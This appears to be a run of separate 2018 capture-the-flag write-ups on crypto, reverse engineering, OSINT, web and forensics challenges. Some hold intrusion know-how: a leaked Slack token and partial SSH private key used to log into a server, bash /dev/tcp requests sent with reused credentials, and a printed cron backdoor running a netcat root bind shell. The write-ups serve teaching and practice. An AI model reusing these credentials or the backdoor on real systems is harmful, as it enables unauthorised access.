# enum (misc 150)## DescriptionFind the hidden flag.```ssh [email protected] -p 2222```password: tamuctf
## Information gatheringAfter logging in to the given server and looking around, we found following interesting stuff on the system### pyserver.py 9000```ps -aux``` shows that there is a server running on port **9000**.After a short port scan it was clear, the server is **not reachable remotely**. We need to connect to the server "**locally**".
### /var/backups/.srv.bak```Our lazy IT guy hasn't set up our apache server yet, so we have to use some weird snake-server in the meantime.Save this file as a backup for the credentials.
uname: administratorpasswd: dcVMOlH5e6Hd1LGHXLmWzFhjqMu2/nIP9CXt23aq2CE```This seems to be credentials, we probably need later.## ExplotingIt was clear we need a way to connect to the local server on port 9000.That was quite tricky, since we were not able to use ```curl```, ```wget```, ```netcat``` and consorters.But we got ```bash``` and bash is able to **open TCP/UDP sockets**.
```$ exec {file-descriptor}<>/dev/{protocol}/{host}/{port}```
>The "file descriptor" is a unique non-negative integer associated with each socket. File descriptors 0, 1 and 2 are reserved for stdin, stdout and stderr, respectively. Thus you must specify 3 or higher (whichever is unused) as a file descriptor."<>" implies that the socket is open for both reading and writing. Depending on your need, you can open a socket for read-only (<) or write-only (>).The "protocol" field can be either tcp or udp. The "host" and "port" fields are self-explanatory.taken from http://xmodulo.com
```bashexec 5</dev/tcp/localhost/9000echo -e "GET / HTTP/1.0\n" >&5cat <&5```This returned a **401 Unauthorized**. That indicates, we need the credentials from the backup.```HTTP/1.0 401 UnauthorizedServer: SimpleHTTP/0.6 Python/2.7.12Date: Mon, 19 Feb 2018 12:08:07 GMTWWW-Authenticate: Basic realm="Test"Content-type: text/html```Lets prepare the [correct header](https://en.wikipedia.org/wiki/Basic_access_authentication#Client_side):
administrator:dcVMOlH5e6Hd1LGHXLmWzFhjqMu2/nIP9CXt23aq2CEin base64YWRtaW5pc3RyYXRvcjpkY1ZNT2xINWU2SGQxTEdIWExtV3pGaGpxTXUyL25JUDlDWHQyM2FxMkNF
```bashexec 5</dev/tcp/localhost/9000echo -e "GET / HTTP/1.0\nAuthorization: Basic YWRtaW5pc3RyYXRvcjpkY1ZNT2xINWU2SGQxTEdIWExtV3pGaGpxTXUyL25JUDlDWHQyM2FxMkNF\n" >&5cat <&5```That returned a **200 OK** with the following content. That indicates our authentication was correct.```HTTP/1.0 200 OKServer: SimpleHTTP/0.6 Python/2.7.12Date: Mon, 19 Feb 2018 12:09:48 GMTContent-type: text/html; charset=ANSI_X3.4-1968Content-Length: 258
<html><title>Directory listing for /</title><body><h2>Directory listing for /</h2><hr>.flag.txtpyserver.py<hr></body></html>```**Finaly payload:**```bashexec 5</dev/tcp/localhost/9000echo -e "GET /.flag.txt HTTP/1.0\nAuthorization: Basic YWRtaW5pc3RyYXRvcjpkY1ZNT2xINWU2SGQxTEdIWExtV3pGaGpxTXUyL25JUDlDWHQyM2FxMkNF\n" >&5cat <&5``` |
You were asked to guess the product which had highest number of distinct vulnerabilities in the year 1999. According to CVE details **Windows Nt** had approx 64 distinct vulnerabilities which was the highest.
So the flag is **Windows Nt** |
## HiddenKey
By PGODULTIMATE
```Ugh, another RSA problem? Help me decrypt this message please file.
File:
n = 26520361246721655719312292942299590997777406526676863843012099874597354135915059455042239376324387799865053683242414636060009865587583173045275105457073082968243533504387905119043247388529642262414438526116242340640646581052259140730856602869915716683075789898757359771098724847778465228984815596078931371664087053561549606914105075834487920908928691828802759345002239892841824320364955010193182040747111546094295252827762503139260982913152531075677337995125360354293156865458241440186309803882568716210602936866629058410889597625550416294217700072058777542777083497633525029159889586234144102169842680272161183745721
e = 65537
c = 7418057243095790130042687065779702583554288701684857484514194801172294222458626819803912260156980577116251379730360494595360787198176052366623880562576447483406219805426610686644675038623537403087409914772622449653592895702054870869175670435789095639112627664236615046540518795677000409954873160628316626272163567705830245764662598626052114608721632793989844962828953647706639614802279473020211192036611008393324264343853025429310141786756433031256006580696886806558123345474279809833474067840131549259039990436737446672931220529391217431088545326280625895692744865166426041282243083293457565493214530087442183221292
2d + phi(n) = 45614762360410229300212698129832564750331302865657508323173977053637449841505611287528058184192348840566221315228568671446549156638679494257938961387272062063098949100738786162532797890920043101547869966269453672948648924362631904429625232239887534242738487644500448074790752720083799014401870217385681081039018262858805431651444719629084023758324666731580812040390477922196960548253698139132501827455548068644079880155486688825629841080221071744769415881019858426562758569708023957635165912129811734183443537045716249795296152683405537442868538321416720588711975920577513834780887193070997464962139948390468804712622```
This problem was one that kind of trolled me for a while \(like most of the problems in this year's competition\) but I eventually figured it out. In this problem there are the usual three \(n,e,c\) that we find in an RSA problem. So, because I have \_Forced Factoring Syndrome \_I immediately tried factoring it. This was pretty dumb and unsurprisingly didn't pan out to anything. So I was left to look at the most suspicious part of the problem: `2d + phi(n)`.
I realized that the problem was likely related to the formula: `d = (e^-1) mod phi(n)`. After a long time of aimlessly staring at this equation and doing stuff that was not useful at all, I finally did something that moved me forward. I plugged in `(e^-1) mod phi(n)`** **for d in the equation `2d + phi(n) = <number I don't wanna write out>`. So some easy algebra leaves me with `((e^-1) mod phi(n)) + phi(n) = <num/2>`. At this point I was horribly stuck. I had no idea what to do with that extra **phi\(n\)**. So I spent a lot of time looking up modular math and I eventually came upon three Wikipedia Articles: [Congruence Relation](https://en.wikipedia.org/wiki/Congruence_relation), [Chinese Remainder Theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem), and [Modular Arithmetic](https://simple.wikipedia.org/wiki/Modular_arithmetic). The articles basically say something like _**x mod y**_ is the same as _**\(x mod y\) + y**_ because the remainder would be the same in the end. Looks familiar? Well that's because it is! If we replace`((e^-1) mod phi(n)) + phi(n)`with x and y it becomes the same exact thing! So, what does this mean? Simply put it means that `(e^-1) mod phi(n) =`. Wait a minute. What was `(e^-1) mod phi(n)`** **again? That's right: d. Essentially `d = number/2`**.**
From this point on the problem becomes _SUPER EASY_. Now I know c, d, and n! That's exactly what I need to find m \(the secret message\). I used python on my terminal to do this next part:
```py>>> c = 7418057243095790130042687065779702583554288701684857484514194801172294222458626819803912260156980577116251379730360494595360787198176052366623880562576447483406219805426610686644675038623537403087409914772622449653592895702054870869175670435789095639112627664236615046540518795677000409954873160628316626272163567705830245764662598626052114608721632793989844962828953647706639614802279473020211192036611008393324264343853025429310141786756433031256006580696886806558123345474279809833474067840131549259039990436737446672931220529391217431088545326280625895692744865166426041282243083293457565493214530087442183221292
>>> d = 22807381180205114650106349064916282375165651432828754161586988526818724920752805643764029092096174420283110657614284335723274578319339747128969480693636031031549474550369393081266398945460021550773934983134726836474324462181315952214812616119943767121369243822250224037395376360041899507200935108692840540519509131429402715825722359814542011879162333365790406020195238961098480274126849069566250913727774034322039940077743344412814920540110535872384707940509929213281379284854011978817582956064905867091721768522858124897648076341702768721434269160708360294355987960288756917390443596535498732481069974195234402356311`
>>> n = 26520361246721655719312292942299590997777406526676863843012099874597354135915059455042239376324387799865053683242414636060009865587583173045275105457073082968243533504387905119043247388529642262414438526116242340640646581052259140730856602869915716683075789898757359771098724847778465228984815596078931371664087053561549606914105075834487920908928691828802759345002239892841824320364955010193182040747111546094295252827762503139260982913152531075677337995125360354293156865458241440186309803882568716210602936866629058410889597625550416294217700072058777542777083497633525029159889586234144102169842680272161183745721`
>>> m = pow(c,d,n)```
Great! Now I have **m**. What do I do now? I convert it to hexidecimal so that I have something easier and familiar to work with:
```py>>> hex(m)```
This gives me `656173796374667b7634306932766a7462356530393332786f787d`! The next step is super easy: just plug it into a Hex to ASCII converter to get:
> **easyctf{v40i2vjtb5e0932xox}**
|
## OSINT4 (OSINT, 400pt)
> This server is an staging/uat box but the developer has got a public IP on the same. > Someone exploited the misconfiguration and got hold of the box. >> Can you re-hack the server and get hold of attacker's secret flag.>> Target: 54.85.105.103
We start with an nmap scan:
```bash$ nmap -sS 54.85.105.103
Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-10 00:38 EETNmap scan report for ec2-54-85-105-103.compute-1.amazonaws.com (54.85.105.103)Host is up (0.16s latency).Not shown: 998 closed portsPORT STATE SERVICE22/tcp open ssh80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.50 seconds```
We can easily locate that a `.git` folder is accessible with `dirb`. It has a remote pointing to `https://github.com/johnatcorp/corpnull`. We check the commits of this repository and we find a token for the Slack API.

After poking around with the various [Slack API methods](https://api.slack.com/methods) we locate some interesting files.
```bash$ curl -sH 'Authorization: Bearer xoxp-302709175073-304111796230-302748987361-6d10dcd6f4cedc60900986def747f0e5' https://slack.com/api/files.list | jq '.files[] | {name: .name, url: .permalink_public, preview: .preview}'{ "name": "id_rsa.pub", "url": "https://slack-files.com/T8WLV5525-F8XC1KB37-32b7572f04", "preview": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7RUm542gWJ56hYOpp4iAMSmF/WAQAO/dKKg4+QC7EfA1NxRtDsfsB0ehQ1z+V+3CK7AJPeMnfsALPTSLfu0O8vXAuT+ja+UnjwFMuTLySAb1EN9G1S5jls1xcGYdAo4RcDNUFjDAVzq7PoZ7h58IVmpJXUlyey2BVN2kwclohJRKxxnm3D7o++XRz9hwdBZq6088cEmOwxUsztRSg3a0STvQzo3YLv2Uc3OuhEUi8Z7Pslo4qA1I04gGfhcS5wv8Yp3TQvpiyxcHhfYmjHvommedaGltGNZTNi5YnTvFwX6d3yJYKrb8Cflx+M9Mk7CJvmX1bTpmslZEsH+Jhosj03BbqWSAI2SZUeYk2Wz+I/9WtCkaVHSuSRR4TyyEVBzLhaFAZbP/2lN3R3jyLfW0i8g20/6EExkjeNgYNolRTup/+RJ2dbleWIK+zBxPj0EJ8bY0RRBvzRsavpJBfcKSC6yqEBRXBhljf44M5OTos6KMXTlA3Pff46TDy2AWULn9PC7rMit9Nm6xx4ArX/b2ZDsCnOoeMWG0dehjePXsqu6rYqzi6utvpWDUbfISemfyoISVL1tLwNmhnHZcOgPmIOcx9xwbIvpaDjJAIopQcp4E3wmJ8TUvkaJzVWXVRw1cbp2kn7Si7dhgpWSrCAl9XmTUWLs+i+CagPxIfouTpVw== [email protected]\n"}{ "name": "id_rsa", "url": "https://slack-files.com/T8WLV5525-F8YA9C46T-3e2f445d5e", "preview": "-----BEGIN RSA PRIVATE KEY-----\nMIIJKAIBAAKCAgEAu0VJueNoFieeoWDqaeIgDEphf1gEADv3SioOPkAuxHwNTcUb\nQ7H7AdHoUNc/lftwiuwCT3jJ37ACz00i37tDvL1wLk/o2vlJ48BTLky8kgG9RDfR\ntUuY5bNcXBmHQKOEXAzVBYwwFc6uz6Ge4efCFZqSV1JcnstgVTdpMHJaISUSscZ5\ntw+6Pvl0c/YcHQWautPPHBJjsMVLM7UUoN2tEk70M6N2C79lHNzroRFIvGez7JaO"}```
Finally we download the private key, ssh to the server and locate the flag.
```bash$ ssh -i id_rsa [email protected]Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-1047-aws x86_64)
* Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage
Get cloud support with Ubuntu Advantage Cloud Guest: http://www.ubuntu.com/business/services/cloud
24 packages can be updated.0 updates are security updates.
*** System restart required ***mikeatcorp@ip-172-30-1-179:~$ locate flag.txt/secret/.supersecret/flag.txtmikeatcorp@ip-172-30-1-179:~$ cat /secret/.supersecret/flag.txthackim18{'455676878965435365788698546'}``` |
# JSON parsing 1 (200)
Description:> The attached file is metadata about one minute's uploads to VirusTotal.> > The answer to this puzzle is a comma-separated list of the five antivirus engines that produced the highest percentage of posities in descending order.> > Don't draw any conclusions about the efficacy of any antivirus products from this exercise- VirusTotal receives a mixture of malicious and non-malicious files, so it's not necessarily better to have a high ratio than a low one or the other way around here. I also have no associated with any of them. It's just a data manipulation puzzle, people =)> > NOTE: The answer should be submitted with no spaces and the engine names should be exactly as they appear in the source data.> > [vt_minute_output.tar.bz2](https://s3-us-west-2.amazonaws.com/neverlanctf/files/vt_minute_output.tar.bz2)
---1.Download the file from the URL and extract it ```$ bzip2 -d vt_minute_output.tar.bz2$ tar -xvf vt_minute_output.tar./._file-20171020T1500file-20171020T1500```
2.The file is in the json format, so we'll have to write a python script to extract, classify and print the data. Note that the challenge is not asking the "list of the five antivirus engines that produced the highest positives count", it's asking for the ratio of each individual engine, calculated from the total number of positives divided by the total number of files processed by it. So and engine that has a ratio of 1/5 will be positioned higher in the list than one with 130/800. 3.The program will iterate over all json objects in the file, creating a python dictionary variable with all antivirus engines found. Each engine will have a "total" and a "detected" variables associated. At the end of the json file's processing, we will print them in ascending order of total/detected ratio, so that the engines we are looking for will be closer to the prompt when it's outputted.
4.The json object's part with the data we're looking for is this one. So we're extractig the value of the "detected" key```"scans": { "Bkav": {"detected": false, "version": "1.3.0.9367", "result": null, "update": "20171020"}, "K7AntiVirus": {"detected": false, "version": "10.29.24984", "result": null, "update": "20171019"} [...]```
5.This is the python program source```python#!/usr/bin/python3.6
import jsonimport operatorimport pprint
av_list = []fp = open("file-20171020T1500")
# Iterate over the objects and store them in a listfor line in fp.readlines(): av_list.append(json.loads(line))
av_dict = {}
for submit in range(0, len(av_list)):
for antivirus in av_list[submit]["scans"].keys():
# First time the engine is found, create the dict item using # the av engine as the key if antivirus not in av_dict: av_dict[antivirus] = {} av_dict[antivirus]["total"] = 0 av_dict[antivirus]["detected"] = 0
# Increment the total of scans av_dict[antivirus]["total"] += 1
# Increment the detected total if av_list[submit]["scans"][antivirus]['detected']: av_dict[antivirus]["detected"] += 1
# Sort the dict by the detected/total ratiosorted_av_dict = sorted(av_dict.items(), key=lambda x: 100 * float(int(x[1]["detected"])) / float(int(x[1]["total"])))
# In case you want to see the list# pprint.pprint(sorted_av_dict)
# The answer will be the last 5start = len(sorted_av_dict) - 1stop = len(sorted_av_dict) - 6
# Comma separated values, no spaces# Remove manually the last commafor x in range(start, stop, -1): print(sorted_av_dict[x][0] + ",", end='')
print("")```
6.The output (remove the last comma)```$ ./js200.py SymantecMobileInsight,CrowdStrike,SentinelOne,Invincea,Endgame,```
By Kauê Doretto |
# s7a73farm's Recon
```Challenge: Yes s7a73farm built some challenges. But he is also DJ. Can you find his mixes?```
I have found s7a73farm's mixcloud account

There are 12 published streams I checked each stream and finally found the flag

```Flag: flag{h3ll0_3viLC0rP}``` |
Hey everyone :-DHere is my detailed writeup of #TamuCTF2k18 Enum 150 Challenge :)
Enjoy and don't forget to share it ;)
#TamuCTF #CTF #Writeup
**https://mrtaharamine.blogspot.com/2018/02/enum-150-writeup-tamuctf-2k18.html** |
# "cookie_monster" (50)### "cookie_monster" (50)
Description:> [http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14098/](http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14098/)
---1.A little recon in case you don't know who is "cookie monster"+ Google search "cookie monster"+ It's a character from Sesame Street
2.The description's URL gives you only this string> He's my favorite Red guy+ Google search "cookie monster best friend red"+ It's a character named Elmo
3.Open the browser's web developer tools and check the request headers, in the "network" tab
4.Notice the cookie> Red_Guy's_name=NameGoesHere
5.Send the request with his name```$ curl -v --cookie "Red_Guy's_name=Elmo" http://neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14098/* Trying 52.10.167.210...* TCP_NODELAY set* Connected to neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com (52.10.167.210) port 14098 (#0)> GET / HTTP/1.1> Host: neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com:14098> User-Agent: curl/7.55.1> Accept: */*> Cookie: Red_Guy's_name=Elmo> < HTTP/1.1 200 OK< Content-Type: text/html; charset=UTF-8< Date: Tue, 27 Feb 2018 03:30:44 GMT< Server: nginx< X-Powered-By: PHP/7.1.12< Content-Length: 160< Connection: keep-alive<
<html> <head> <title>Cookie_monster</title> </head> <body> You got it! **flag{C00kies_4r3_the_b3st}**</body></html>* Connection #0 to host neverlanctf-challenges-elb-2146429546.us-west-2.elb.amazonaws.com left intact```
You got it! **flag{C00kies_4r3_the_b3st}**
By Kauê Doretto |
## XORbytes (Crypto, 100pt)
> Looks like there is a flag here...if only you could run the binary.> > [hexxy](hexxy)
```❯❯❯ file hexxyhexxy: data```
Running `strings` on the binary (combined with the challenge title), we quickly realized that this is an ELF binary XOR'd with a key (which seems quite small if you take into account the repeating patterns in the binary and the null bytes that are common to exist in ELF binaries). Since the first few bytes of ELF binaries are always the same, we can use this information to recover the key.
```❯❯❯ hexdump -C hexxy | head -n100000000 2e 07 7d 21 31 6d 35 42 35 75 7a 50 6a 6a 44 34 |..}!1m5B5uzPjjD4|
❯❯❯ hexdump -C another_binary | head -n100000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|```
We can write our solver which will XOR the first 16 bytes of the encrypted file with the first 16 bytes of another ELF binary to recover the key and then use it to decrypt `hexxy`. It is an assumption for our solver that the key is 16 bytes long.
```import os
x = [0x2e, 0x07, 0x7d, 0x21, 0x31, 0x6d, 0x35, 0x42, 0x35, 0x75, 0x7a, 0x50, 0x6a, 0x6a, 0x44, 0x34]y = [0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]key = ''.join(map(lambda x: chr(x[0]^x[1]), zip(x, y)))#print key
hexxy = ''with open('hexxy', 'rb') as f: hexxy = f.read()
hexxy_decrypted = ''for i in range(0, len(hexxy), len(key)): for j in range(len(key)): if i+i >= len(hexxy): break hexxy_decrypted += chr(ord(hexxy[i+j])^ord(key[j]))
with open('hexxy_decrypted', 'wb') as f: f.write(hexxy_decrypted)
print os.system('strings hexxy_decrypted | grep -i gigem')```
The decrypted file ([hexxy_decrypted](hexxy_decrypted)) was not functional after decryption as was the flag, and it seems that there might be more than one keys used. However, after we fixed a single letter in the flag, it was accepted by the system ¯\_(ツ)_/¯
```GigEm{NibblerEatsNibbles}``` |
It's trivial when we notice that with c1=1 the program simply accepts the message from c2.We put c1=1 and c2="something#overlord" and we get the flag.```#!/usr/bin/env python2
from pwn import *import binascii
p = remote("35.197.255.108", "1337")p.sendline("1")p.sendline("1" + binascii.hexlify("easy#overlord"))print(p.recvuntil("here."))*``` |
Author: chudy
[Original writeup](https://github.com/Pwn-Collective/CTF-writeups/tree/master/NeverLan-CTF-2018-writeup/Passwords/The-Password-Manager)
Writeup in CTFtime format: TBD soon. |
# Siths use Ubuntu (Part 1 of 3) (125)>Author: bashninja>Description: Ok... So the boss of your company has come to the security team with a problem. His "secure" linux box has been hacked. Password is: neverlan>>There are 3 things we need you to do. This is part 1.>>You've got to figure out how they keep getting in even though we've changed the password.>>[neverlan.ova](https://s3-us-west-2.amazonaws.com/neverlanctf/files/neverlan.ova)
---
1.Download the "neverlan.ova" and open it in VirtualBox
2.Login in with the supplied password `neverlan`
3.If the password was changed and `they keep getting in` chances are there is a backdoor. If there's a backdoor, there's a process
4.Open the terminal and run `sudo ss -tlnp````$ sudo ss -tlpnState Recv-Q Send-Q Local Address:Port Peer Address:PortLISTEN 0 5 127.0.1.1:53 *:* users:(("dnsmasq",pid=1026,fd=5))LISTEN 0 128 *:22 *:* users:(("sshd",pid=27165,fd=3))LISTEN 0 5 127.0.0.1:631 *:* users:(("cupsd",pid=23100,fd=11))LISTEN 0 1 *:443 *:* users:(("nc.traditional",pid=2187,fd=3))LISTEN 0 128 :::22 :::* users:(("sshd",pid=27165,fd=4))LISTEN 0 5 ::1:631 :::* users:(("cupsd",pid=23100,fd=10))```
5.Port 443 is a well known port for HTTPS, but a process named `nc.traditional` (PID 2187) is listening there.
6.Let's check the process```kyloren@kyloren-ubuntu:~$ sudo ps -p 2187 -u USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 2187 0.0 0.0 6496 268 ? S 20:45 0:00 /bin/nc.traditional -l -p 443 -e /bin/bash```
7.Next we check the parent process that spawned it```kyloren@kyloren-ubuntu:~$ sudo ps -l 2187F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD4 S 0 2187 2182 0 80 0 - 1624 inet_c ? 0:00 /bin/nc.traditional -l -p 443 -e /bin/bash
kyloren@kyloren-ubuntu:~$ sudo ps -p 2182 -uUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 2182 0.0 0.0 19580 316 ? S 20:45 0:00 /bin/bash /etc/init.d/rebels```
8.And the file's contents```kyloren@kyloren-ubuntu:~$ cat /etc/init.d/rebels #!/bin/bash# The F | L | A | G is: kylo_ren_undercover_bossif (( `/bin/ps aux | /bin/grep /bin/nc | /usr/bin/wc -l` == 1 )); then /bin/nc.traditional -l -p 443 -e /bin/bash; fi```
9.Now, I bet you don't want your boss to force-choke you because you said his computer was safe again. It is not. Let's keep going up the process tree```kyloren@kyloren-ubuntu:~$ sudo ps -l 2182F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD0 S 0 2182 2181 0 80 0 - 4895 wait ? 0:00 /bin/bash /etc/init.d/rebelskyloren@kyloren-ubuntu:~$ sudo ps -l 2181F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD4 S 0 2181 2180 0 80 0 - 1127 wait ? 0:00 /bin/sh -c /etc/init.d/rebelskyloren@kyloren-ubuntu:~$ sudo ps -l 2180F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD5 S 0 2180 846 0 80 0 - 14845 wait ? 0:00 /usr/sbin/CRON -fkyloren@kyloren-ubuntu:~$ sudo ps -l 846F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD4 S 0 846 1 0 80 0 - 9019 hrtime ? 0:00 /usr/sbin/cron -f```
So, the backdoor is being spawned by a crontab task:```kyloren@kyloren-ubuntu:~$ cat /etc/crontab # /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.
SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )*/5 * * * * root /etc/init.d/rebels#```
Remove the last task and ruin the good guys' day and the Star Wars IX movie.
By Kauê Doretto |
# NeverLan CTF 2018: Siths use Ubuntu (part 3 of 3)
**Category:** Blast from the Past**Points:** 150
**Description:**
>Ok... So the boss of your company has come to the security team with a problem. His "secure" linux box has been hacked. Password is: neverlan
>There are 3 things we need you to do. This is part 3.
>You've got to figure out how they broke in.>https://s3-us-west-2.amazonaws.com/neverlanctf/files/neverlan.ova
## Write-up
That was really fast.
1. I downloaded image .ova, imported this to VirtualBox.2. Logged in and run terminal.3. Typed in terminal:>grep ssh /var/log/auth.log4. After few secs I get something intresting.
>Good Job! It looks like it was brute forced. Your an sw er is: should-have-used-fail2ban
So, our flag is:
`should-have-used-fail2ban` |
# NeverLan CTF 2018: How far can you go?
**Category:** Trivia**Points:** 200
**Description:**
>How far can you go?
>[Alice.zip](https://ctf.neverlanctf.com/files/8eca3b38fd4a072d6ee4af16a16c1efe/Alice.zip) Password neverlanCTF
## Write-up
**First pass:**
We have it in description: `neverlanCTF`
**Second pass:**
If we put piece of text to google e.g. [The Conscience of a Hacker](https://www.google.pl/search?q=The+Conscience+of+a+Hacker) we get a link to website with text from zip but.. with autor.
So pass is: `+++The Mentor+++`.
**Third pass:**
Fast googling and we have link:
>https://www.newyorker.com/tech/elements/a-short-history-of-hack
Pass is: `Tech Model Railroad Club` but lower case.
**Fourth pass:**
Our question: `Before Hacking, there was this?`
Password is `phreaking` of course!
**Fifth pass:**
Again, go back to google.
>http://www.slate.com/blogs/the_vault/2013/02/01/phone_phreaks_the_toy_whistles_early_hackers_used_to_break_into_the_phone.html
So this must be something with `2,600 Hz tone`.
After a few attempts we found a good version. Pass is: `2600 hertz`
**Sixth pass:**
Question: `Date of 2600 magazine issue that had the article "HACKING ON TELENET, It's as easy as 123456!"`
Google time aaand:
`february 1984`
**Seventh pass:**
11 Year old Dade Muprhy chrashed 1,507 Computers that belonged to this orginization?
Answer: `new york stock exchange`
**Eighth pass:**
Question: `Ellingson Mineral Company supercomputer. `
The name of the supercomputer is: the gibson
**Ninth pass:**
Our question: `Shall we play a game?`
Nice movie. Here is clue:
>https://www.youtube.com/watch?v=-1F7vaNP9w0
Several attempts with different variations and the password is found: `global thermonuclear war`.
**Tenth pass:**
Question:
What is this from? I know you're out there. I can feel you now. I know that you're afraid... you're afraid of us. You're afraid of change. I don't know the future. I didn't come here to tell you how this is going to end. I came here to tell you how it's going to begin. I'm going to hang up this phone, and then I'm going to show these people what you don't want them to see. I'm going to show them a world without you. A world without rules and controls, without borders or boundaries. A world where anything is possible. Where we go from there is a choice I leave to you.
Is there anyone who does not know? Pass is: `the matrix` |
## easy_serial (RE 350pts, 40 Solves)The binary file:[easy](./21ad6600a0045e8091c81706c6907d1d)
We are given a zip file, once we unzip it we have a 64 bit elf executable with the file name "easy". If we run strings on the binary we are given a lot of strings. I'd ignored that at first and ran the program to see what it gave me.```> ./easyInput Serial Key >>>helloeasy: Prelude.!!: index too large
```
I wasn't sure what Prelude. !!: index too large meant. So, I looked it up and realized this was a Haskell program that had been compiled. Having never used Haskell before I read about some of it's semantics and came across a Haskell decompilation tool called [hsdecomp](https://github.com/gereeter/hsdecomp). Rather than throw the binary in IDA or Radare I decided to give the decompiler a shot. I ran the decompiler and it did not work at first.
I eventually fixed the decompiler so that it would run if you would like to know how I did this see Appendix A. The output I was given is in the file [d.out](d.out). Rather than fixing the hsdecomp output internally I wrote a quick script in IPython to output the information as a strings rather than a set of tuples.```s = !cat d.outfor el in s: d = eval(el) res = "" for stat in d: res += stat + ' ' print res```Then I was able to get [easy.hs](easy.hs), I then added some comments and it is pasted below:```Main_main_closure = >> $fMonadIO (putStrLn (unpackCString# "Input Serial Key >>> ")) (>>= $fMonadIO getLine (\s1dZ_info_arg_0 -> >> $fMonadIO (putStrLn (++ (unpackCString# "your serial key >>> ") (++ s1b7_info (++ (unpackCString# "_") (++ s1b9_info (++ (unpackCString# "_") s1bb_info)))))) #Print out three chunks with _
###FIRST CHUNK COMPARISON (case && (== $fEqInt (ord (!! s1b7_info loc_7172456)) (I# 70)) #F (&& (== $fEqInt (ord (!! s1b7_info loc_7172472)) (I# 108)) #l (&& (== $fEqInt (ord (!! s1b7_info loc_7172488)) (I# 97)) #a (&& (== $fEqInt (ord (!! s1b7_info loc_7172504)) (I# 103)) #g (&& (== $fEqInt (ord (!! s1b7_info loc_7172520)) (I# 123)) #{ (&& (== $fEqInt (ord (!! s1b7_info loc_7172536)) (I# 83)) #s (&& (== $fEqInt (ord (!! s1b7_info loc_7172552)) (I# 48)) #0 (&& (== $fEqInt (ord (!! s1b7_info loc_7172568)) (I# 109)) #m (&& (== $fEqInt (ord (!! s1b7_info loc_7172584)) (I# 101)) #e (&& (== $fEqInt (ord (!! s1b7_info loc_7172600)) (I# 48)) #0 (&& (== $fEqInt (ord (!! s1b7_info (I# 10))) (I# 102)) #f (&& (== $fEqInt (ord (!! s1b7_info (I# 11))) (I# 85)) #U (== $fEqInt (ord (!! s1b7_info (I# 12))) (I# 53))))))))))))) of #5 <tag 1> -> putStrLn (unpackCString# ":p"),
###SECOND CHUNK COMPARISON c1ni_info_case_tag_DEFAULT_arg_0@_DEFAULT -> case == ($fEq[] $fEqChar) (reverse s1b9_info) (: (C# 103) (: (C# 110) (: (C# 105) (: (C# 107) (: loc_7168872 (: loc_7168872 (: (C# 76) (: (C# 51) (: (C# 114) (: (C# 52) [])))))))))) of #gnik00L3r4 False -> putStrLn (unpackCString# ":p"),
##THIRD CHUNK COMPARISON (s1bb_info == our third chunk, !! s1bb_info loc_7172456 is first char in our chunk) True -> case && (== $fEqChar (!! s1bb_info loc_7172456) (!! s1b3_info loc_7172456)) #A (&& (== $fEqChar (!! s1bb_info loc_7172472) (!! s1b4_info (I# 19))) #t (&& (== $fEqChar (!! s1bb_info loc_7172488) (!! s1b3_info (I# 19))) #T (&& (== $fEqChar (!! s1bb_info loc_7172504) (!! s1b4_info loc_7172568)) #h (&& (== $fEqChar (!! s1bb_info loc_7172520) (!! s1b2_info loc_7172488)) #3 (&& (== $fEqChar (!! s1bb_info loc_7172536) (!! s1b3_info (I# 18))) #S (&& (== $fEqChar (!! s1bb_info loc_7172552) (!! s1b4_info (I# 19))) #t (&& (== $fEqChar (!! s1bb_info loc_7172568) (!! s1b2_info loc_7172504)) #4 (&& (== $fEqChar (!! s1bb_info loc_7172584) (!! s1b4_info (I# 17))) #r (== $fEqChar (!! s1bb_info loc_7172600) (!! s1b4_info (I# 18))))))))))) of #s <tag 1> -> putStrLn (unpackCString# ":p"), c1tb_info_case_tag_DEFAULT_arg_0@_DEFAULT -> putStrLn (unpackCString# "Correct Serial Key! Auth Flag!") ) ) )
